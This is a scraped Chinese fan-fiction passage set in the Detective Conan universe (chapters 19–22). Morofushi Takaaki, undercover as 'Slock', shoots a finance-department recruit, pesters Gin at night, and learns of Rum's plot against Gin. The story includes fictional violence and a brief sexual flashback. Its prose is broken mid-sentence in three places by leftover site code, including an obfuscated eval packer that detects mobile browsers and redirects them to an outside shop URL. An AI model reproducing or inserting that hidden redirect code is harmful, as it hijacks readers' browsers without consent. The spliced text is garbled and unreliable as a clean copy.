诸伏高明审视着卡蒂萨克,认真思考了一番后说道:“我的确不喜欢你随意伤人,但这并非不喜欢你,如果你可以控制住自己不去伤人,日后也可以出来,我待你们是一样的。”
卡蒂萨克惊喜地瞪大了双眼,好似难以相信。
诸伏高明却并没有说太多,不管是哥哥还是弟弟,他们所能理解的信息都比较简单,说得太多反倒适得其反。
诸伏高明和卡蒂萨克都必须好好沉淀一下了。
麻烦比诸伏高明想象中来得要快,卡蒂萨克将手指当礼物送给诸伏高明的第二天,诸伏高明便被财务部的部长喊过去了。
诸伏高明当然不可能带上情绪不稳定的卡蒂萨克,诸星大没有得到代号更不可能跟去,于是他单刀赴会,走进财务部办公室的那一刻,一整个屋子的人都眼神不善地盯着他。
诸伏高明没有在意,径自走到了财务部部长费南德面前,对方被众人簇拥着,端坐在老板椅上,摆足了上位者的派头。
“你好,我是斯洛克,请问找我有什么事?”诸伏高明谦逊地笑笑。
“斯洛克,卡蒂萨克是你的下属吧?”费南德冷冰冰开口。
“没错。”
费南德顿时一拍桌子,怒道:“既然是你的下属,你到底怎么管的人?你知不知道,他无缘无故就切了我们财务部一个新人的手指!”
那个新人这会儿也在,举起手来给诸伏高明看,虽然已经包扎了,但还是可以看出右手缺了两根手指。
“怎么?你厉害,你威武,你的人就可以无法无天了?”费南德恶狠狠地盯着诸伏高明,想要给他一个下马威。
组织里的成员所接受的都是一些格外刺激的事情,所以斯洛克离开三年,当初他所做的那些事情,除了和他格外熟悉的,早已淡忘了。如今他虽然回来,但和琴酒闹别扭,又没有加入情报组,自然被费南德当成了软柿子。
软柿子这种东西,谁都想要去捏上一捏,更何况费南德身为财务部的部长,拿捏住了斯洛克,日后金钱上打交道的时候也方便些。
事情也正如费南德所想的那样发展,一个人没带的诸伏高明格外谦逊,几乎是立刻道歉:“抱歉抱歉,是我治下不严,我对这件事还不太清楚,能问下当时是什么情况吗?”
那名新人立刻告状:“我当时正在工作,卡蒂萨克来报销的时候路过我,突然就对我发难了!”
“无缘无故的发难?”
新人明显心虚,但很快又鼓起勇气大声说:“是,我可没惹到他!”
“呵。”诸伏高明轻声笑了,呢喃:“这样啊,那可真是要好好惩罚一番才行。
19.神医
新人顿时松了口气,继续告状:“既然这样,就该把他抓过来……”
“砰——”
一发子/弹,狠狠钻入了新人的左大腿。
“啊——”那名断了手指的新人惨叫一声,鲜血淋漓地跌在了地上。
费南德惊了,一拍桌子怒道:“斯洛克,在我的地盘你还敢乱来!”
他一声令下,周围的人全拿出了武器,将各种武器对准了诸伏高明。
诸伏高明枪/口垂着,并没有再袭击的意思,而是笑眯眯地询问费南德:“费南德,你是要和我为难吗?”
“是你太造次了!”费南德心底几乎要压不住翻涌的情绪。
这里可是财务部,周围全是自己人,斯洛克一个外人怎么敢在这里开/枪的?他那样明目张胆地包庇卡蒂萨克,就不担心高层的严惩吗?
最重要的是,到底有什么底牌让他这样大胆?
费南德虽然命令周围人将武器对准了诸伏高明,却根本不敢下下一步的命令,在组织走得长的人都有个心眼,他只是不想被下了面子,却从不会在没看透对方后手前将事情做绝。
“我打他当然是有原因的。”诸伏高明才要解释,却突然感受到了什么,朝身后看了眼。
一道人影从门外走了进来,一路围着的人都为他让路。
是琴酒。
诸伏高明将枪收了起来,笑着朝琴酒打了声招呼:“嗨,来报账?”
“你来玩?”琴酒饶有兴趣地打量了周围的人一眼。
诸伏高明忍不住苦笑,他这像是来玩的样子吗?
“卡蒂萨克闯了祸,费南德正对我发难呢。”诸伏高明实话实说。
费南德有点摸不准琴酒的态度,忙说:“没有,我只是想查清楚。”
琴酒则凉凉嘲讽:“他那种疯子,你就该把他关去精神病院。”
诸伏高明叹了口气,他也想啊,但大概率是关不住的,卡蒂萨克更可能在精神病院大杀四方。
“报销。”琴酒将几份单据拍在费南德的桌子上,似乎没有多管闲事的意思。
费南德这才松了口气,连忙为琴酒办理好了。
报销完,琴酒也并不在此多停留,转身便出了财务部。
“真绝情啊。”诸伏高明“啧啧”两声,琴酒的态度可真令人伤心。
意识到琴酒不是诸伏高明的靠山,费南德立刻又对诸伏高明发难:“斯洛克,你今天不说清楚,别想完好地走出财务部的门!”
“好吧,那我就说了。”诸伏高明上前,皮鞋好巧不巧地踩在他断了手指的伤手上,疼得那个新人额头冒汗。他弯了弯腰,笑眯眯地问他:“告诉我,卡蒂萨克切下你手指之前,你在做什么?”
“我……工作……”
“卡蒂萨克可不是这样对我说的。”诸伏高明用力碾了碾皮鞋,倾听着新人凄厉的惨叫,语气淡然:“卡蒂萨克虽然疯了点,但对我,他可从不会说谎。”
新人疼得几乎要昏厥过去,终于忍不住大喊:“是我的错!我说你得罪了琴酒,在霓虹肯定活不了多久!啊,别踩了,疼……”
诸伏高明这才抬脚放过他,又看向费南德:“你听到了?”
费南德咬牙,事实上,他并非一无所知。
可那又怎样?若斯洛克是个软柿子,他既拿捏了斯洛克,又能在财务部树立威信,可没想到斯洛克竟然敢直接动手。
他在霓虹毫无根基,他凭什么动手?
“如果我没猜错的话,他应该是个还没获得代号的外围?”诸伏高明已经不再看地上疼得打滚的新人了,对费南德说:“所以你生什么气?卡蒂萨克是代号成员,一个外围办错了事、说错了话,莫说是切了他的两根手指,就算杀了他又有谁会在意?”
“斯洛克,你很嚣张啊。”费南德狠狠咬牙。
“我只是觉得你太小题大做。”
当着这么多人的面,费南德骑虎难下,已经决定了,不管斯洛克背后是谁,他今天都得给他点教训瞧瞧,没人能这么明摆着踩他的面子!
“给我把他抓起来!”
财务部的人就要上前摁住诸伏高明,诸伏高明也并不反抗,只笑吟吟地看着费南德。
费南德的心底立刻便蒙了一层阴影,却又说不出哪里不对。
“扣扣”,有人敲门。
费南德朝门口望去,心脏狠狠一跳,是阿斯蒂!
“怎么这么久?”阿斯蒂站在门口没有进去,却喊诸伏高明:“不说就一点小事吗?还没处理完?”
“应该快了吧?”诸伏高明揣着明白装糊涂,笑着问费南德:“大部长,我们的事情算处理完了吗?”
费南德将牙咬得“咯吱”作响,说不出一句话。
“快一点,朗姆大人还等着呢。”阿斯蒂又在催了。
听到“朗姆”二字,费南德顿时宛如泄了气的气球,颓然说道:“已经处理完了,你走吧。”
“好,这次给你们财务部惹麻烦了,我也会约束好手下,当然,也请大部长约束好手下。”诸伏高明唇角勾着,一声“大部长”简直就像是嘲讽。
离开财务部后,诸伏高明对阿斯蒂道谢:“多谢了,阿斯蒂。”
“谢就不必了,以后不要这么吓人就好。”阿斯蒂打量着诸伏高明,故作后怕模样:“你一句话让我赶紧来捞人,我还以为你要被财务部的那些人给整死了。”
“也差不多了,他们一个个如狼似虎,可真要怕死我了。”诸伏高明装模作样地捂住自己的胸口。
阿斯蒂哈哈大笑,他可看得清清楚楚,刚刚财务部那群人阵势虽然大,却完全没能捞到好处。
真是不得了,一个人就敢对上整个财务部,今天真是让阿斯蒂开了眼了。
“厉害!”阿斯蒂朝诸伏高明竖起大拇指。
“狐假虎威罢了。”诸伏高明谦虚地表示:“如果不是阿斯蒂你来捞我,再加上朗姆大人的威名,我今天怕就真的悬了。”
“我不照样是你喊来的?”阿斯蒂并不因此便看低对方。
从以前阿斯蒂就听说过,斯洛克从不打没准备的仗,总有无数个后手在等着,如今看来果然不虚。
阿斯蒂突然像是想到了什么,故
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
意问诸伏高明:“你见到琴酒了吗?我来的时候,刚好看到琴酒出门。”
“嗯,见到了。”
“既然他刚好过来……”
“他啊,一点战友情都没有,亏我们以前还一起打拼过,见到我被刁难在一旁乐得很呢。”诸伏高明语气轻佻,眼底闪过一抹幽芒。
阿斯蒂心情更加愉悦,他搂住诸伏高明的肩膀安慰他:“放心,我们情报组这边最重感情了。”
情报组,心最脏了!
脏到每次诸伏高明和情报组的人接触后,都感觉一双手洗都洗不干净。
还在他面前阴阳怪气琴酒?要不是阿斯蒂很好用,诸伏高明早怼得他北都不认识了,什么东西!
深夜,琴酒做完睡前训练,冲了个澡趟到床上,才要睡觉却看到自己窗口趴着个“大蜘蛛”。
琴酒被吓了一跳,几乎是从床上弹了起来,震惊地看着窗外的诸伏高明。
诸伏高明也将头努力朝里面探,几乎贴在了琴酒的玻璃上。
琴酒立刻过去打开了窗,诸伏高明这才松了口气,从外面灵巧地钻了进来。
“你什么时候爬上来的?”琴酒震惊,他竟然都没有发现。
“我爬的时候,你应该正在吹头发。”诸伏高明伸手摸了摸琴酒的头发,刚洗过的头发更顺了,还吹得很蓬松,很好摸。
琴酒一巴掌拍开他的手,很无语:“你爬上来干什么?”
诸伏高明叹了口气,神秘兮兮地告诉琴酒:“我撞鬼了。”
琴酒皱紧了眉头,还以为是自己耳朵出问题了。
诸伏高明已经郁闷地讲述起来:“我本来都要睡着了,可每当我闭上眼睛,我的脑海里就会冒出一个声音,他一直说一直说,吵得我根本睡不着觉。”
琴酒顿时来了兴趣,问:“哦?说什么?”
“他在问问题啊,他一直都在问我:诶,你说琴酒为什么不救你?”诸伏高明讲述的时候,望着琴酒的眼神无比幽怨。
琴酒感觉莫名其妙:“你有病吧!”
“对啊,我就是有病,而且病入膏肓,无药可医。”诸伏高明开始在琴酒的卧室里走来走去,一边走一边问:“琴酒为什么不救我?他今天明明去了财务部,明明看到我落难,为什么却不救我?你知不知道琴酒为什么不救我啊?”
他来要一个答案,也来撒泼打滚。
最好的结果,当然是骚扰琴酒骚扰到他同意自己住下来。
琴酒的确被他骚扰烦了,喊停他:“别走来走去的,我头都要晕了,我不管你,是因为你肯定有办法出来。”
“这么信任我?万一出不来呢?”
“那你活该!”琴酒十分无情:“明知道是找你茬,你还敢一个人过去,还敢不留后手,你出不来能怪谁?”
诸伏高明若有所思,半晌后朝琴酒竖起大拇指:“神医啊,你一开口,我脑子里的声音立马就不见了。我觉得你不仅是神医,命还好,能驱邪镇鬼。为了我的健康与安全,我决定就在你这里住下来了。”
诸伏高明说着,厚脸皮地一屁股坐到琴酒床上。
20.被赶出去了
琴酒无语地看着这一幕,一把拉住他的胳膊将人给扯了起来。
“好累好困啊,要睡觉。”诸伏高明眼珠一转,直接朝琴酒身上倒去。
感受到扒着自己的大型水懒,琴酒挣扎了一下,可诸伏高明完全没有受到影响,仍旧用四肢抱住他的身体不肯松开。
“斯洛克,少和我来这套,回你家去睡。”琴酒明白,越是这个时候越是不能对斯洛克心软,否则这家伙就真的没法管了。
诸伏高明装作没听到,一动不动。
琴酒用了些力气,直接将诸伏高明从身上甩了下来。
“好痛。”诸伏高明撞到柜角,吃痛地捂住自己的侧腰,难以置信地看着琴酒,不高兴地埋怨:“你下手这么没轻没重的,万一撞坏了我,损失的可是你后半辈子的幸福。”
琴酒冷笑,根本不吃这套,“我后半辈子的计划中没有你。”
“那就加上嘛。”诸伏高明根本没受打击,仍旧锲而不舍地纠缠着他,“我长得不合你胃口吗?”
诸伏高明撩了下头发,一双上挑的凤眼流露万种风情。
琴酒一时没回答,事实上,诸伏高明长得非常合他胃口。
他长相俊美,行事上酷爱撒娇,但在该狠辣的时候从不拖后腿。当然,相比起样貌,两人更合的是彼此相契的灵魂,这才是最令琴酒对斯洛克无法割舍的最主要原因。
这么多年,不管在组织内还是在组织外,琴酒从没有见过第二个如斯洛克这般的人。
“真怀念以前,我当时只会用手/枪,狙/击/枪还是你手把手教出来的。”诸伏高明回忆过往。
“可你的狙/击水平真的不行。”
“对标你的话,组织里没一个行的吧?”诸伏高明立刻反驳,琴酒对他的要求未免也太高了。
琴酒沉默地注视着他,那个时候,他真的在斯洛克身上花费了不少的心思。
带他过任务,和他对练练习搏击,一点点教他熟悉组织里的各种热武器,也带着他在各色人面前露面。
琴酒未来是要继承组织的,斯洛克或许不会成为下一个top killer,但有他的教导,斯洛克完全有能力靠另一种方式来稳定组织。
然而这个被琴酒精心打造的杰作,在那个晚上越界了。
事实上,那日琴酒并没有喝得烂醉,虽然为了庆祝喝多了些,但总归是清醒的。
可当斯洛克朝自己靠近的时候,他的呼吸开始变得不自然,他的脸颊有了并非酒精影响的绯红,他看着斯洛克一点点解掉领带,脱掉上衣,在即将抽出腰带的时候,琴酒其实是有阻止过的。
“川上,你知道你在做什么啊?”他按住了斯洛克的手。
斯洛克却也抓住了他的手,两人的手顺着腰带的缝隙探入,触摸到了他们不该触摸的存在。
“我好热,也好/涨,琴酒,就当怜悯我一下,别在这个时候坏兴致好不好?”斯洛克的手重新将琴酒的手拿了出来。
琴酒怔怔地看着自己的手指,指尖一点银丝垂落,悬而不断。
他鬼使神差地用舌头舔/了一下,只一瞬,绷紧的情绪全面崩盘,琴酒的理智溃不成军。
后面的事情变得混乱,琴酒没有主动,但他也不再抗拒,两人紧紧搂抱在一起,纵情热吻,又一同沉入禁忌的海洋。
“琴酒,以前你教完我,时间太晚的话,你会让我在你这里住下来。”诸伏高明留恋地看了眼琴酒的大床,最终还是决定退一步:“我可以睡客房。”
琴酒被他气笑了,反问:“然后大晚上地来撬我门锁?”
不但来撬门锁,还光着/身/子来撬!
“你放心吧,我不会再撬了,我会很安分的。”诸伏高明立刻表现出一副乖巧的模样,歪头一笑。
琴酒可完全不相信,这家伙的话根本没任何可信度。
他丝毫不顾对方的挣扎,一把扯住诸伏高明的衣领,将人从楼上拖了下去,直接拖到了门口。
“等等,琴酒,你不能这样对我!”
“就一宿,真的就一宿!”
“放开我啊,睡客房都不行吗?你也太过分了!”
诸伏高明被拖下楼的这段时间嘴里一直哀嚎着,可琴酒没有丝毫心软。
过分?真正过分的是谁啊!
大晚上的不在家里好好睡觉,半夜跑来爬他家窗户!
你cos你妹的蜘蛛侠呢!
琴酒打开门,就要一脚将诸伏高明给踹出去,诸伏高明却更加凄厉地一声大叫。
“等等,我还有一件事!”
“说。”琴酒给他这个面子。
诸伏高明伸手入怀,从里衣口袋里摸出一样粉嫩粉嫩的东西递给琴酒。
“这是什么?”琴酒拿过来疑惑摆弄。
“樱花开了,我看着挺漂亮的,就选了其中最美的一朵做了滴胶的钥匙扣。”诸伏高明又拿出自己的手机,晃了晃手机上挂着的皮卡丘,笑着说:“这东西你既然送了我,我就不会再还你了,但可以送你个新的。”
琴酒无语地看着诸伏高明,还真能给自己脸上贴金,他明明才是还回去的那个,说什么“送”,好像他故意送诸伏高明小礼物似的。
“快挂上吧。”诸伏高明眼睛亮晶晶地看着他。
“我对这个没兴趣。”琴酒想随手丢到一旁。
诸伏高明却用力摁住门,大声说:“你要是不挂上,我今天就真的不走了!”
琴酒更加无语地看着他,这个世界上真的很少见这样的人,流氓又无赖。
为了赶紧送走瘟神,琴酒在诸伏高明的注视下将樱花钥匙扣挂在了自己的门钥匙上,小方块的水晶滴胶包裹着里面娇嫩的樱花,看着可爱极了。
嗯……
很不符合琴酒的气质。
当然,琴酒也并不在意,否则当年就不会挂着那只滑稽的皮卡丘,
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
还一挂就是三年。
“现在可以了?”琴酒晃了晃,如果诸伏高明再不走,他就真的要发火了。
诸伏高明很开心地又打量了一番,很快又变了脸,委屈巴巴地望着琴酒,“看来你真的很想让我离开。”
琴酒一点不心软,变脸变得太快了啊!
“好吧,说话算话,我这就走。”诸伏高明叹了口气,主动打开门走了出去。
琴酒关好门,门外的人也没有返回来锤门。
真奇怪,这次怎么这么顺利?
琴酒几乎有些难以置信,但诸伏高明不作妖是好事,他很快便回了自己房间。
回房间后刚躺下,一股格外凄凉的声音便从窗外传来。
琴酒:……
他明明关了窗子,声音的穿透力却如此强烈,直往人的大脑里钻。
斯洛克你特么——
琴酒睡不着了,爬起来一张脸几乎贴在了窗子的玻璃上。
诸伏高明果然没走,他不仅没走,还不知从哪拿了一根箫竖在唇边,吹奏出哀婉、凄恻的乐声。
操!
琴酒又重新躺回床上,他敢肯定,斯洛克根本就是故意的。
呵,以为他会认输吗?以为他会将斯洛克重新请进来?做梦!
琴酒闭上眼睛想强行让自己睡着,可惜太吵了,于是又往自己耳朵里塞了耳塞,还是不行,箫声的穿透力实在是太强了。
“呜呜呜——”
“呜呜呜呜——”
一声又一声,连绵不绝。
琴酒闭着眼睛和箫声抗争、再抗争……
终于,琴酒闭上的眼睛重新睁开,双眼充血,爬起来恶狠狠地先咒骂一句,然后便一头钻进了卫生间里。
吹吹吹,吹得他尿都憋不住了!
站在寒冷的夜里,月下吹箫,看似情景优美,诸伏高明却冻得手指都要僵硬了。
他不得不搓了搓双手,这才又重新举起来继续吹,一边吹一边观察着琴酒房间的动静。
怎么回事啊?他一开始还见琴酒朝外面探头,这会儿都半个小时过去了,琴酒怎么反倒是没动静了?
诸伏高明好奇得很,是他吹得不好听吗?不对啊,他吹/箫的技术不错,教他的老师都说过他有天分。
一定是琴酒的音乐细胞不行!
诸伏高明想,肯定是琴酒自己的问题,根本不是自己的箫声不够感人。
他这么惨,又冷又累,箫声凄凉,他都这样了,琴酒还不来喊他进去吗?
终于,安全屋的门开了。
诸伏高明喜出望外,才要朝门口走却看到琴酒黑着一张脸,甚至拿出了手/枪。
要遭!
诸伏高明神色大变,拔腿就跑,子/弹接连不断射在他的脚边,追着他一路爬上了车。
他这会儿终于不想着进去了,发动车子就朝远处溜。
点子太硬,要杀他啊!
21.毕业礼
毕业季。
小升初,初升高,诸伏景光也大学毕业了。
他们学校对毕业典礼的穿着没有要求,不过这一天,大家穿得都不会太随便。
他的幼驯染降谷零穿了上次网球比赛领奖时穿得那套,内里穿一件舒适的白色T恤打底,外面则穿一件敞怀的浅棕色皮夹克,深色的牛仔裤完美勾勒出他的腿型,有着最符合大学生的阳光帅气。
诸伏景光则比较中规中矩,他穿了一套藏蓝色的和服,和服的袖口和领口位置用金线绣着海棠花的纹路,就算是站在人群里,文质彬彬的气质也出类拔萃,令人一眼便能注意到。
新老学生代表致辞结束,领导讲话,颁发证书。
一切行云流水般进行着,结束之后,诸伏景光便和降谷零说说笑笑地朝门外走去。
“真可惜,高明哥今天也没有来。”降谷零观察着幼驯染的表情,担心他会伤心。
诸伏景光却笑了笑,并不在意地说:“哥大概有事要忙吧,前几年我们见过一次面后,他就一直没出现了。我想着,他或许在做很了不得的事。”
诸伏景光朝降谷零眨了眨眼睛,降谷零也笑笑,两人都有猜测,只是谁都没说出来。
两人刚出校门口,突然就被人给喊住了。
“请等一等!”
诸伏景光和降谷零朝来人看去,对方长得高高大大,满脸正气,一路小跑着过来。
“诸伏景光,我是你哥哥的朋友,他托我为你带来了毕业礼物。”四方堂一开门见山,并将一个笔记本拿了出来。
诸伏景光很惊喜,问:“我哥人呢?”
“这……他不太方便,所以才托我带来。”
“没关系,我能理解。”诸伏景光对四方堂一笑笑。
四方堂一欣慰极了,真不愧是高明的弟弟,果然也是个温柔小天使,和高明刚加入公安的时候简直一模一样。
“笔记本是我选的,里面的书签是你哥哥亲手为你做的,希望你前程似锦,对未来永远不迷茫。”四方堂一将笔记本递给他。
诸伏景光接过来连忙打开,里面果然夹着一枚樱花书签,是用滴胶制作的,漂亮的樱花舒展着五片花瓣,在滴胶中栩栩如生。
他用指腹细细摩挲着这张精致的书签,端详了许久,才想对四方堂一道谢,抬起头来却已经不见对方人影。
“那位先生呢?”
“他已经走了。”降谷零指了个方向。
“真神秘啊,本来还想问问我哥在哪的。”诸伏景光笑了笑,心里却也明白,既然哥哥没来看自己,应该也不会将位置告诉他。
“樱花书签啊,很漂亮,高明哥的手很巧嘛。”降谷零称赞。
“我哥他一向很全能,做什么都很厉害。”诸伏景光对哥哥是有很厚的滤镜在的,提起哥哥,他的眼睛都亮晶晶的。
哥哥在做着需要保密的工作……
哥哥送了他一张漂亮的樱花书签……
“樱花代表着正义,我想,哥哥对我的未来一定是有所期待的。”诸伏景光心里有了打算,对降谷零说:“我想好了,我要去考警校!”
降谷零立刻响应:“好啊,带我一个!”
诸伏景光重重点头。
事实上,考警校是两人共同的心愿,就算诸伏高明不送来这份毕业礼,他们也是要去考的。
看着手上的樱花书签,诸伏景光更加坚定了自己的想法,他不仅要去考警校,他以后还要去找哥哥,他要和哥哥一起坚守正义。
于是,一个月后,当诸伏高明再一次和四方堂一碰面的时候,便得到了这个炸裂的消息。
“你的意思是……我弟弟去上警校了?”诸伏高明几乎不敢相信自己的耳朵。
“啊……是这样没错。”四方堂一垂下了他高傲的头颅。
他也不清楚是怎么一回事啊!
四方堂一虽然会照看诸伏景光,但他也有自己的工作要做,不可能时时都盯着他,当他想起来去看一眼的时候,那小子已经跑去警校报道了!
“他笔试挺优秀的,这说明他对我们警察还是很尊重的,这很好啊!”四方堂一努力找补。
诸伏高明却完全高兴不起来,他是个卧底,他弟弟去做警察,他们长得又很像……
这不纯纯要坑他吗?
“如果你觉得不行,我找个理由将他从警校赶出去?”四方堂一试探着问。
“那也没必要。”诸伏高明叹了口气,说:“总不能因为我的关系委屈了他,他想要报考警校,应该也是深思熟虑过的,你帮忙照看一下,等他快毕业的时候找找关系,尽可能将他分配到偏远地区,尤其是让他远离东京这边,我在这边活动比较多。”
“好,我明白了。”四方堂一立刻答应,这点小事他还是能办的。
“对了,你上次递交上去的情报上说,情报组一直都在拉拢你?”四方堂一很快和他说起正事。
诸伏高明点头。
四方堂一又问:“如果加入情报组,你有把握能快速上位吗?”
诸伏高明轻笑,道:“这要看能力,不过朗姆对我很重视,问题应该不大。”
“你的能力我也信得过!”四方堂一拍了拍诸伏高明的肩膀,说:“上面的意思是,让你加入情报组,在情报组,可以掌握机密情报的机会肯定会更多。”
诸伏高明却皱了皱眉,他沉思片刻,最终拒绝了:“抱歉,我对情报组没兴趣。”
四方堂一很意外。
“在行动组我也可以发展得很好。”诸伏高明语气平静,他没有很无礼,却也没有服从命令。
四方堂一犹豫了下,还是对诸伏高明说:“我知道,你去卧底,究竟是什么情况肯定可以自己把握,我们这里的安排你也不用完全服从,不该听的你可以自己做主。但是我还是要必须提醒你一点,上次你不顾我们的反对去美国,已经引起了某些人的不满。”
“那是组织的命令。”
四方堂一又拍了拍诸伏高明的肩膀,长长叹了口气。
诸伏高明抿紧了嘴唇,他清楚,自己的回答其实是有问题的。
如果想继续留在琴酒身边,自然要听从安排,可上次出国的时候,朗姆却朝他抛来了橄榄枝。
可以这样说,如果他上次转投向朗姆,说不定根本不用出国,就算出国,也不用过了整整三年才重新爬回来。
他的固执己见,恐怕已经引起公安高层很多人的不满了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13690869|142132||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“高明,你现在是我们埋进组织的一根独苗苗,可千万不能出问题。”四方堂一最关注的还是高明的安全问题。
诸伏高明颔首:“我有分寸。”
和四方堂一分开后,诸伏高明心情复杂。
四方堂一向来是报喜不报忧的性子,这次突然提到上面对他不满,应该是已经和高层那些人抗争过很多次了。
这次告诉他,是已经有些压不住了吗?
特地提到他是独苗苗,恐怕公安对这点也研究许久了,说不定很快便会派遣新人来组织卧底。
诸伏高明倒是完全没担心,来组织卧底不是那么简单的,公安短时间内绝找不到人可以替代他,更何况卧底这种事本来就是自由性比较高的任务,若时时都要听话,需要上面牵着一条线才能行动,迟早会被组织察觉。
至于私心……诸伏高明不可否认,他是有的。
他还没拿下琴酒,怎么可能跑去情报组?不过这并不影响他和情报组的人打好关系就是了。
因为诸伏高明的融入太成功了,情报组一群人开会的时候,阿斯蒂毫无芥蒂地喊上了他。
“斯洛克,来这边!”阿斯蒂笑呵呵朝他招手,然后又对着到场的所有人介绍他,好像他已经是情报组的一员似的。
而今天的会议内容……
嗯,既然有外人,当然不会是机密,但诸伏高明来之前也真没想到竟然会是这样小众的内容——说琴酒坏话。
简单来说,这么一群人凑在一起,就是为了方便蛐蛐琴酒。
“琴酒他太大胆了……”
“简直放肆……”
“他啊……”
听着这些人你一言我一语,阴阳怪气又冷嘲热讽,诸伏高明只是在旁听着便感觉无比刺耳。
“是不是感觉找到了大家庭?”偏偏阿斯蒂一点不觉得自己有多烦人,用力搂住诸伏高明的肩膀和他说小话。
诸伏高明也只能配合地笑笑,说:“我们这好像不应该叫情报组,我们这应该叫做‘琴酒受害者联盟’。”
“你说得没错!”
“好名字!”
明明是一句调侃,诸伏高明却意外地发现,竟然还有好几个人提出了赞同。
啊……
诸伏高明瞬间不知该说什么了,琴酒这人缘,真是肉眼可见得差劲儿。
会议结束后,阿斯蒂特地和诸伏高明一起离开,并且搂着他的肩膀告诉他一个“好消息”。
“琴酒很快就要死了。”
诸伏高明眸光一闪,诧异问:“怎么说?难不成他得了不治之症?这倒是省了我的事。”
阿斯蒂笑着摆摆手,说:“过几天,琴酒有个任务。”
话点到为止,阿斯蒂没有继续往下说,但诸伏高明却已经明白了。
他惊讶地看着阿斯蒂,没想到朗姆这么着急,甚至要在任务中动手脚害死琴酒,他是真的很恨琴酒啊。
诸伏高明很快和阿斯蒂告别,上车之后,这才将口袋里一直在录音的录音笔按停、文件保存。
这可是证据。
万一琴酒或任务真出了什么差错,这条录音或许不足够扳倒朗姆,却足以令组织乱上一阵。
22.质疑
几日后,宾馆。
伏特加开了房间,琴酒集结了自己的小队,开始排兵布阵。
“基安蒂,你在这个点埋伏,科恩,你在这里。”任务附近的地形图展开,琴酒选取了两个合适的狙击点安排他们。
“好。”
“没问题!”
“伏特加,顺着这条路,你提前侦查好,尽量不要有堵塞,也要观察敌人是不是有埋伏。”在琴酒的安排中,伏特加是负责撤退路线的。
伏特加立刻点头,答应之后又有些担忧:“大哥,你一个人进去?”
“嗯。”琴酒点头,神色淡然。
这次的任务目标是富商五社大雅。
组织已经和他的弟弟达成了合作关系,只要能够在五社大雅的生辰宴上干掉他,等他的弟弟五社勇斗继承五社家,组织就可以获得五社家的全力帮助。
像是兄弟阋墙这种事情,在霓虹屡见不鲜,琴酒并不感到意外。
当然,组织不是没有找过五社大雅寻求合作,可惜对方的态度一直模棱两可,这样模糊的态度令人感到厌烦,先生也终于不想再给他机会了。
“这次宴会五社大雅邀请了不少人,要注意不要误伤。”琴酒这当然并非善良,可能够参与宴会的没一个身份简单,万一伤到个硬茬子,组织估计要惹上大麻烦。
两个狙/击/手齐齐点头。
一切安排妥当,只等晚宴开始。
就在所有人稍稍放松时,“扣扣”传来了两声敲门。
“谁?”科恩立刻摸枪.
门外传来温和的声音:“客房服务。”
基安蒂也有些炸/毛,压低嗓音对琴酒说:“不对劲儿,我们没叫客房服务。”
琴酒的表情分明有些烦躁,但最终还是压了压手,示意两个狙/击/手放松,又让伏特加去开门。
伏特加也是不情不愿的,但最终还是将门给打开了。
“斯洛克!”基安蒂立刻叫了出来。
进门的正是诸伏高明,他抬手朝几人打着招呼,又开玩笑:“你们这么多人住一个房间,是不是有点太挤了?”
伏特加关好门,没好气地说:“你来做什么?是不是想探听我们的机密?”
“我来找琴酒的。”诸伏高明直奔琴酒而去。
才走到琴酒面前,一支/枪却抵上了他的额头。
诸伏高明脚步一顿,错愕:“琴酒?”
“你来做什么?”琴酒用枪指着他,表情严肃。
眼看着琴酒一副公事公办的态度,诸伏高明只能老老实实回答:“我来加入你们的任务。”
“凭什么?你想加入就加入?”基安蒂不爽他。
诸伏高明没有理会基安蒂,继续对琴酒说:“是朗姆让我加入的,不信的话你可以问问看。”
琴酒死死盯着他,没有打电话去问,而是问出了第二个问题:“你怎么知道我在这里?”
“朗姆掌控情报组,想查你的情报不困难吧?”既然已经选择狐假虎威,诸伏高明索性利用到底。
其实不然。
朗姆就算掌控整个情报组,琴酒想要避开朗姆的眼线也还是很简单的,否则这么多年他也没资格上棋盘和朗姆分庭相抗。
琴酒知道这一点,但他似乎也猜到了什么,硬生生止住没有再问。
诸伏高明松了口气,还好琴酒信了,否则情报贩子的事情他还真不好解释,事实上就连诸伏高明也很好奇,为什么那个“King”什么都能知道。
一连几天,诸伏高明都在思索朗姆的人会如何对付琴酒,也雇佣了情报贩子打听,具体的计划他目前还不确定,但问题应该就出在这次任务上了。
诸伏高明思索良久,还是决定亲自来一趟。
他也想试试朗姆的手段,万一足够走运可以来个英雄救美,琴酒这条线就算是基本打通了。
“我不同意!”基安蒂大声拒绝,指着诸伏高明便对琴酒说:“琴酒,我们执行任务,来个外人算是怎么回事?朗姆要硬塞过来,那家伙处处针对我们,这次塞他过来能有好事?”
“基安蒂说得没错。”科恩附和,也冷淡地瞥了诸伏高明一眼。
科恩对诸伏高明没什么偏见,三年前斯洛克和他们一起行动的时候,斯洛克的头脑也帮他们规避了不少麻烦,可他这次是代表朗姆那边过来的,科恩顿时便有些不太情愿。
伏特加心里边都要乐开花了,好,就该这样怼,凭什么就让斯洛克顺风顺水地加入他们!
伏特加才想开口再加一把火,却听琴酒开口了:“斯洛克跟我一起进宴会厅。”
伏特加瞪大了眼睛,大哥怎么这就让他加入了?
基安蒂同样震惊,“琴酒你……”
“他跟我一起,如果他有问题,第一个有危险的会是我,我也会仔细盯住他。”琴酒冷冷打量着诸伏高明,问:“没意见吧?”
“没有,不过要麻烦你多搞一张请柬了。”诸伏高明微微一笑。
琴酒无视了他的笑容,将这个任务吩咐给了伏特加。
傍晚,伏特加满脸不爽地将一张请柬丢给了诸伏高明。
“多谢。”诸伏高明晃了晃手上的请柬,朝伏特加道谢。
